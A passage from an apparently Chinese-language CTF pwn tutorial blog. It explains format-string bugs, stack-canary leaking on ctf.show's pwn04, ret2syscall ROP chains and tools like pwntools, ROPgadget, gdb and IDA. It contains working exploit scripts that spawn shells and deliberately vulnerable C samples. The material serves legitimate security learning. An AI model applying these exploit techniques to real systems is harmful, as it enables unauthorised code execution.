p.sendlineafter('Input your Plaintext to be encrypted\n',payload1)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')

puts_addr = u64(p.recvuntil('\n').decode("iso-8859-1").replace("\n", "").ljust(8,'\00'))
base_addr = puts_addr - 0x31580
bin_sh_addr = base_addr + 0x164a5a
system_addr = base_addr + 0x0

p.sendlineafter('choice!\n','1')
payload2 = b'a'*(0x50+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rdi)+p64(bin_sh_addr)+p64(system_addr)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload2)

p.interactive()

简单格式化字符串漏洞

格式化字符串漏洞

当使用printf函数时,我们应该使用格式化字符,如%d

1
printf("%d", int型变量);

1
2
printf("%s", char数组);
printf("%p", 指针);

而不是

1
printf(字符串)

当变量可被用户操控时,用户在字符串中嵌入格式化字符,由于printf允许参数个数不固定,printf会自动将这段字符当作format参数,使用后面的内存数据当作数据来源,这就是格式化字符串漏洞

格式化参数-参考此处

参数 输入类型 输出类型
%d 十进制整数
%u 无符号十进制整数
%x 十六进制整数
%s 指针 字符串
%n 指针 到目前位置为止,已写的字节个数

%n 是将printf打印的字符数量写入一个 int指针

1
2
3
4
5
6
7
8
9
#include <stdio.h>

int main() {
int i;
printf("haha%n", &i);

printf("\n%d\n", i);//输出i的值
return 0;
}

360截图1700101488105106

%N$d可以访问第N个参数,并且把它以十进制输出。

%N$x可以访问第N个参数,并且把它以十六进制输出。

如下面程序

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <string.h>

int main() {
char i[200];
gets(i);
printf(i);
printf("\n"); //"\n"只是为了换行,方便看
return 0;
}

输入完全由用户控制

使用%21$x,读出了偏移21处的位置的内容并以16进制显示

360截图17690622477475

程序

题目来自https://ctf.show/ 的 pwn04

程序下载: 本站网址/static/post/pwn-rop/ext/bin/ex2

checksec

32位程序,可以看到Canary开启,栈不可覆盖,NX开启,栈不可执行

360截图17001019625782

Canary保护,随机生成一个值存在栈内,在函数返回前对此随机数进行检查。

当发生栈溢出时,这个值会被覆盖,检查时发现值被改变,系统将进入异常处理流程,函数不会正常返回。

Canary保护的绕过

一般是格式化字符串漏洞引发的Canary泄漏

先把这个值读出来,栈溢出的时候给它覆盖成原来的值,完成绕过

像这种Canary保护的题一般给的是printf(可控变量),构成格式化字符串漏洞,然后一般会读取两次,方便我们pwn程序

Canary的值以00结尾

运行一下

360截图17960331373971

IDA反编译

main

360截图1872012490101126

vuln

伪C

可见v3就是那个随机值

最后与v3进行异或,同则返回0

read函数处于for循环中,所以会进行两次读取(进行两次输入)

360截图17571122474496

汇编

mov eax, [ebp+var_C]即v3的值传送到eax寄存器

360截图17290505101121122

后门

在0X804859B处存在后门函数

360截图18720115134239

程序分析

程序打印”Hello Hacker!”

进入循环,循环次数为2

每次循环调用read函数读取0x200字节数据存入所在栈空间为0x70的buf,然后printf打印buf

思路

找canary偏移

找到canary的值相对于printf的偏移

涉及gdb动态调试,需要pwndbg插件,可见本文下方“相关”部分

栈溢出

进行栈溢出,以读取的canary覆盖canary变量, 最后ret2text,调用后门函数

过程

gdb动态调试

使用gdb为printf下断点

1
2
3
gdb ex2
b printf
run

360截图162906137212385

随便输入一些东西

360截图162807178712980

然后输入,查看后面50个栈(stack 100也可,按情况决定)

1
stack 50

然后找00结尾的16进制数字(因为Canary最后两位规定是00),左边黄色的是地址

找到如下面红色箭头所指,0xa6161是我输入的字符,0x9ef02600是找到的以00结尾的值

360截图17290504749970

可以手动数(从上面红色箭头的下一个地址到下面的红色箭头,相差23),他们之间偏移量为23

也可以

1
distance 0xffffd518 0xffffd4bc

0xffffd518是0xffffd51c(上一张图片的下面红色箭头指的地方)的上一个地址,

0xffffd4bc是0xffffd4b8(上一张图片的最上面红色箭头指的地方)的下一个地址

360截图18720115768473

0x17也就是23

360截图18000915311517

打印出来看看(退出gdb,直接运行程序)

1
./ex2
1
%23$p

发现不是以00结尾

360截图165702059294132

那就找下面那个(红圈圈起那个)

360截图172905047499702

1
distance 0xffffd538 0xffffd4bc

0xffffd538是0xffffd53c(也就是红圈那里)的上一个地址,

0xffffd4bc是0xffffd4b8的下一个地址

得到0x1f

360截图18270610353950

也就是31

360截图17661020242632

再次运行程序

1
./ex2

输入

1
%31$x

正确,那么偏移为31

360截图162401298569113

编写Exploit1

接收canary的值,因为每次canary的值都会改变

1
2
3
4
5
6
7
8
from pwn import *
p = process("./ex2")
#p = remote("", "")

payload1 = "%31$x"
p.sendlineafter("Hello Hacker!\n", payload1)
canary = int(p.recv().decode("iso-8859-1").replace("\n", ""), 16)
print(hex(canary))

Exploit1的解释

payload1就不解释了,如果不太明白的话可以将上面的gdb动调部分仔细再看看

下面这条语句,是将接收到的byte类型的值按16进制转换成int型

1
canary = int(p.recv().decode("iso-8859-1").replace("\n", ""), 16)

由于接收到“\n”

1
b'5f84800\n'

对其进行去“\n”处理

1
p.recv().decode("iso-8859-1").replace("\n", "")

将int型的canary转换成十六进制输出

1
print(hex(canary))

构造payload2

1
2
bin_sh_addr = 0X804859B
payload = b'a'*0x64+p32(canary)+b'a'*(8+4)+p32(bin_sh_addr)

payload2的解释

bin_sh_addr为之前IDA反编译的时候发现的后门函数的地址

1
0X804859B

8是0x70-0x64,0x70是buf的所在栈空间大小,4用于覆盖ebp寄存器,出栈

0x64是buf和v3之间的偏移量

0X70-0XC=0x64

360截图17891230104106138

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
p = process("./ex2")
#p = remote("pwn.challenge.ctf.show", "28177")

payload1 = "%31$x"
p.sendlineafter("Hello Hacker!\n", payload1)
canary = int(p.recv().decode("iso-8859-1").replace("\n", ""), 16)

bin_sh_addr = 0X804859B
payload = b'a'*0x64+p32(canary)+b'a'*(8+4)+p32(bin_sh_addr)
p.sendline(payload)
p.recv()#两次输入,每次输入都有输出,第二次输出没有用,这里给它直接接收掉

p.interactive()

网上找到类似程序的源代码

来自此处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//gcc -m32 -fstack-protector-all filename.c -o ex2
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
int i;
for(i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}

EXP如下

不是我写的不太能看懂,我只是把原来python2程序改成了python3程序

感觉比较巧妙,覆盖buf变量,由于存canary的变量和buf变量同栈使其连在一起,又由于canary的值以00结尾,c中字符串以\x00结尾结束,canary会被当作字符串输出,泄露出了canary的值

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
r = process("./ex2")
shell_addr = ELF("./ex2").sym["getshell"]
r.recvuntil("Hello Hacker!\n")
payload = "a"*0x64
r.sendline(payload)
print(r.recvuntil("a"*0x64))
canary = u32(r.recv(4))-0xa
print("canary:", hex(canary))
payload = b"a"*0x64+p32(canary)+b"a"*8+b"aaaa"+p32(shell_addr)
r.sendline(payload)
r.recv()
r.interactive()

简单ret2syscall

概念

简单来说就是调用系统函数来获取shell

Linux 的系统调用通过 int 80h 来实现,程序执行系统调用时EAX寄存器存入系统调用的编号,函数参数(如:””/bin/sh”的地址)则存入其它通用寄存器

Syscall的函数调用规范为:execve(“/bin/sh”, 0,0);

则汇编程序为

1
2
3
4
5
6
pop eax ; 系统调用号载入, execve为0xb
pop ebx ; 第一个参数, /bin/sh的string
pop ecx ; 第二个参数,0
pop edx ; 第三个参数,0
int 0x80
;来自https://blog.csdn.net/qq_33948522/article/details/93880812

注意:int 0x80用于触发中断,也就是调用execve(“/bin/sh”, 0,0);


实际操作

实际操作应该如下(假设为32位程序)

  • eax寄存器存入0xb
1
2
3
4
栈顶 0xb
出栈(pop) eax -> eax存入了0xb

做法:找到pop_eax_ret这个gadgets | payload:p32(pop_eax_ret) + p32(0xb)
  • ebx存入binsh字符串的地址,假设为0x***
1
2
3
4
栈顶 0x***
出栈(pop) ebx -> ebx存入了0x***

做法:找到pop_ebx_ret这个gadgets | payload:p32(pop_ebx_ret) + p32(0x***)
  • ecx存入0
1
2
3
4
栈顶 0
出栈(pop) ecx -> ecx存入0

做法:找到pop_ecx_ret这个gadgets | payload:p32(pop_ecx_ret) + p32(0)
  • edx存入0

edx操作同上面ecx

  • 触发中断
1
2
3
int 0x80

做法:找到int 0x80这个gadgets | payload:p32(int_0x80)

完整过程:

1
p32(pop_eax_ret) + p32(0xb) + p32(pop_ebx_ret) + p32(0x***) + p32(pop_ecx_ret) + p32(0) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)

如果找到的gadgets为

1
pop edx ; pop ecx ; pop ebx ; ret

那么完整过程:

注意参数对应寄存器

1
p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(0x***) + p32(int_0x80)

程序

程序下载: 本站网址/static/post/pwn-rop/ext/bin/ret2syscall

程序来自ctfwiki

32位的程序,开启了NX

360截图1814122093125121

IDA静态分析

反编译的伪c代码

360截图17860607119121130

汇编

360截图168508177110365

程序理解

打印两串字符,然后无限制获取输入,存入栈空间为0x64的v4变量中,v4为int型

字符1为:这次,没有system()也没有shellcode。。。

字符2为:你打算怎么做?

思路

我感觉这题可以用ret2libc做

要按照ret2syscall做的话,我已经在上面的“概念”处的”实际操作“已经说明了做法

如何确定适不适合使用ret2syscall?

答案是找gadgets

  • 查找’int’
1
ROPgadget --binary 文件名 --only 'int'

360截图16850816313660

  • 查找’/bin/sh’
1
ROPgadget --binary 文件名 --string '/bin/sh'

360截图172905047764103

  • 查找同时含eax和含pop、ret的gadgets
1
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'eax'

需要选地址为0x080bb196那个

360截图17571121645574

  • 查找含pop、ret和含有ebx的gadgets(查找ecx、edx同理)
1
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'ebx'

箭头所指的都可以选

360截图18750814121233

  • 或者直接查找含pop、ret和同时含有ebx、ecx和edx的gadgets
1
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'ebx' | grep 'ecx' | grep 'edx'

360截图17571120425043

构造payload

错误的payload

1
2
3
4
5
6
int_0x80 = 0x08049421
bin_sh = 0x80be408
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90

payload = b"a" * (0x64+4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)

正确的payload

0x64->0x6C,如果不太懂可以看看前面的”进阶ret2text“部分

1
2
3
4
5
6
int_0x80 = 0x08049421
bin_sh = 0x80be408
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90

payload = b"a" * (0x6C+4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)

v4的地址

360截图16520820276982

ebp的位置

360截图17650102083132

计算偏移量

360截图17290502656973

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = process('./ret2syscall')

int_0x80 = 0x08049421
bin_sh = 0x80be408
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90

payload = b"a" * (0x6C+4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)

p.sendline(payload)
p.interactive()

相关

Pwn工具pwntools

pwntools由python编写,有python2.7版本和python3版本

1
pip install pwntools

1
pip3 install pwntools

checksec

checksec是pwntools里的工具

==使用方法==

1
checksec 文件名

调用pwntools

1
from pwn import *

处理文件

1
p = process('./文件名')#来产生一个对象

连接远程机器

1
p = remote("服务器地址","端口")#来产生一个对象

信息处理

接收
1
2
3
p.recv()#接收所有信息
p.recvuntil("标志字符")#接收到字符直到标志字符出现
p.recv(数字)#接收多少个字符
发送
1
2
3
p.send()#发送
p.sendline()#发送结尾带换行
p.sendafter("标志字符""信息")#信息只在接收到标志字符后才会发送
数据类型

send()等函数能接受字符串和bytes类型的数据,所以payload可以为str类型

decode(“iso-8859-1”)可以将bytes类型的数据按”iso-8859-1”字符集转换为str类型数据,如下

1
payload = 'a' * (0x18 + 4) + p32(0x08049202).decode("iso-8859-1")

也可以为bytes类型,如下

1
payload = b'a' * (0x18 + 4) + p32(0x08049202)

ELF

参考此文章

1
elf = ELF(’./文件名’) #产生一个对象

使用elf查找地址

1
2
3
4
elf.symbols[‘a_function’] 找到 a_function 的地址
elf.got[‘a_function’] 找到 a_function的 got
elf.plt[‘a_function’] 找到 a_function 的 plt
elf.next(e.search(“some_characters”)) 找到 some_characters 可以是字符串,汇编代码或者某个数值的地址

LibcSearcher

有python2.7版本和python3版本

1
pip install LibcSearcher

1
pip3 install LibcSearcher

先接收泄露的地址

1
puts_addr = u32(p.recv(4))

对其进行自动查找

1
2
3
4
libc = LibcSearcher('puts',puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr = base_addr + libc.dump('system')
bin_sh_addr = base_addr + libc.dump('str_bin_sh')

LibcSearcher在python3下老是报连接已重置错误,重试好几次才有一次能用,还不如我自己手动去查找来的快

ROPgadget

Gadget是什么

Gadget是以 ret 结尾的指令序列,当我们可以修改某些地址,我们就能控制程序的执行

ROPgadget工具安装

1
pip install ropgadget

==使用方法==

1
ROPgadget --binary 文件名

配合grep

1
ROPgadget --binary 文件名 | grep "关键字"

查找特定字符

1
ROPgadget --binary 文件名 --only "字符"
1
ROPgadget --binary 文件名 --string "字符串"

GDB

安装gdb

1
sudo apt-get install gdb 

安装pwndbg插件

注意,需要git(使用sudo apt install git安装git)

1
git clone https://github.com/yichen115/GDB-Plugins

进入pwndbg目录

1
cd GDB-Plugins/pwndbg

需要可执行权限

1
chmod +x setup.sh

运行下面命令进行安装,可能需要一点时间

1
./setup.sh

进入

1
gdb 文件名

开始执行程序

1
start

输入n将会单步执行

1
n

退出

1
quit

断点调试

程序会在断点处停止

(breakpoint)下断点

1
2
3
4
5
6
7
8
b 行号
break 函数名
break 行号
break 文件名:函数名
break 文件名:行号
break +偏移量
break -偏移量
break * 地址

(continue)继续运行程序

1
c

(display)输入display b将显示b的值

1
display b

(info)查看下过的断点

1
info break

(delete)删除断点

编号要在info命令里查看Num显示的数字

1
2
3
4
5
6
7
8
delete 编号
delete <断点id>:删除指定断点
delete:删除所有断点
clear
clear 函数名
clear 行号
clear 文件名:行号
clear 文件名:函数名

(disable)和(enable)禁用和启用断点(而不是删除)

1
2
3
4
5
6
7
8
9
10
disable 编号
disable 断点编号
disable display 显示编号
disable mem 内存区域

enable 编号
enable once 断点编号:该断点只启用一次,程序运行到该断点并暂停后,该断点即被禁用。
enable delete 断点编号
enable display 显示编号
enable mem 内存区域

(break 和run)

满足某个条件时激活断点

如满足a等于1时在程序第5行下断点

1
2
3
break 断点 if 条件,如b 5 if a == 1
condition 断点编号:给指定断点删除触发条件,如condition 5
condition 断点编号 条件:给指定断点添加触发条件,如condition 5 if a == 1

设置观察点

(watch)当程序访问某个存储单元启用b断点

1
watch b

(continue)继续执行

1
c

改变变量值

1
set variable <变量>=<表达式>

显示变量

1
print 变量

显示栈帧

1
bt

显示局部变量

1
bt full

查看内存

(examine) n、f、u是可选的参数。

n: 显示内存的长度

f: 显示的格式,如字符串为s,地址为i

u: 从当前地址往后请求的字节数,默认4byte

1
x/<n/f/u><addr>

1
x/50wx 地址

IDA相关

配置调试环境

  • 打开IDA程序目录

360截图17980107108127102

  • 打开目录下的dbgsrv文件夹

360截图184307076486117

可以看到支持很多环境

360截图1757112165109106

如果是在X86架构的linux上调试,就选linux_server和linux_server64

360截图18430707407793

  • 放到X86_64架构的linux环境下

360截图18430703576872

  • 运行

先赋予可执行权限

1
2
chmod +x linux_server
chmod +x linux_server64

然后运行

1
2
3
./linux_server

./linux_server64

360截图184307067010183

  • 连接

打开32位的IDA(运行哪个就开哪个)

1、设置debugger

360截图17290429113123137

360截图170909176610285

2、连接linux主机

untitled

untitled1

填写参数,密码为linux主机的密码

360截图168508145782112

ip查看

1
2
3
ip addr show

ip addr show eth0

360截图16850818115143134

端口

360截图18720120102854

开始调试

F9运行,一路YES

360截图17120525100128126

调试界面

360截图17290503555487

linux主机端可以看到程序运行

360截图17710409666793

360截图1659100510710199

写在最后

学习参考:

本文更新完成

EOF